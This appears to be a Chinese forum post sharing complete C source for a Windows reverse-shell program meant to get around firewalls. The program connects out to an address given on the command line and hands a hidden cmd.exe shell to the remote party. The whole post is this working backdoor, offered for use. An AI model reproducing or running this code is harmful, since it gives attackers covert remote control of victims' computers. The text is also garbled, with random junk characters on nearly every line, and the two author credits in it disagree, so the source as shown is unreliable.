这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lt\.
)Y>4
k^B<t'
/* ============================== Os--@5e
Rebound port in Windows NT tB4dkWt.}
By wind,2006/7 ^$-ID6
===============================*/ `6a
#include b_2bg>|;
#include JgQ,,p_V?
;oW#>!HrY
#pragma comment(lib,"wsock32.lib") *@`Sx'5!
Fd!Np7xw
void OutputShell(); D4nYyj1O3
SOCKET sClient; 8,unq3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8D3|}z?
&`+tWL6L
void main(int argc,char **argv) gXZl3
{ PhTMXv<cE
WSADATA stWsaData; 7]se!k,
int nRet; Fq\vFt|m<
SOCKADDR_IN stSaiClient,stSaiServer; m,YBk<Bx
E Dh$UB)
if(argc != 3) )5n*4A
{ SB"Uu2)wZ
printf("Useage:\n\rRebound DestIP DestPort\n"); Zi'}qs$v
return; LbCcOkL/@@
} `5da
<r 2$k"*:
WSAStartup(MAKEWORD(2,2),&stWsaData); ?wM{NVt#-
Msj(>U&}+
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sep/N"7~t
w)}' {]P"c
stSaiClient.sin_family = AF_INET; /G*]3=cSe
stSaiClient.sin_port = htons(0); >1luLp/,$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;ED` 7
JmlMfMpXMs
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /j%(Z/RM
{ 9R$0[HbI3
printf("Bind Socket Failed!\n"); hO8~Rg
return; hb@,fgo!Q
} q|N,?f9
p1}umDb%
stSaiServer.sin_family = AF_INET; g~ubivl2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nh"8on]M~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BF)!VnJ
3i\<#{
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oUSv)G.zb
{ (rTn6[*
printf("Connect Error!"); 4v[Zhf4JM
return; ^HiI
} 7LotN6H
OutputShell(); ULT,>S6r
} Xg<R+o
MgpjC`
void OutputShell() c+a" sx\
{ yyZs[5Q
char szBuff[1024]; QVT|6znw
SECURITY_ATTRIBUTES stSecurityAttributes; #E`wqI\'
OSVERSIONINFO stOsversionInfo; Ec3TY<mVr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #!yW)RG
STARTUPINFO stStartupInfo; ;q5.\m:
char *szShell; gXy'@!
PROCESS_INFORMATION stProcessInformation; _|^cudRv
unsigned long lBytesRead; a+!r5689
LZ'Y3 *
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n^[VN[VC
X}fu $2
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %p; 'l
stSecurityAttributes.lpSecurityDescriptor = 0; `J
l/@bE=
stSecurityAttributes.bInheritHandle = TRUE; AQ)DiH
1\u{1
V
A
WS[e$Mt2
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nNc>nB1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W]B75
=PM6:3aKh
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [\BLb8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B!j7vXM2
stStartupInfo.wShowWindow = SW_HIDE; .X.,.vHx
stStartupInfo.hStdInput = hReadPipe; &=>|? m8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z%m\/wr
;ElwF&"!X
GetVersionEx(&stOsversionInfo); r)]8zK4;=
#_pQS}$
switch(stOsversionInfo.dwPlatformId) F-TDS<[S?
{ k]"DsN$
case 1: ][?@))
szShell = "command.com"; d,XNok{
break; oVAY}q|wU
default: :iEIo7B
szShell = "cmd.exe"; R!z32 <5k
break; bnzIDsw!Q
} !,Uzt1K:
KAI/*G\z
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @h
E7F}
Ge_Gx*R
send(sClient,szMsg,77,0); e8,!x9%J
while(1) %=*nJvYS
{ *]K/8MbiF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o=)["V
if(lBytesRead) <FofRFaS
{ uXuA4o$t-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N~!
GAaD
send(sClient,szBuff,lBytesRead,0); a<CJ#B2K
} NK!#K>AO
else /6@$^paB
{ H"b}lf
lBytesRead=recv(sClient,szBuff,1024,0); crlCN
if(lBytesRead<=0) break; pPH"6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '7yVvd
} x%J.$o[<_
} [}Z!hq
jccSjGX@w
return; "lnI@t{o
}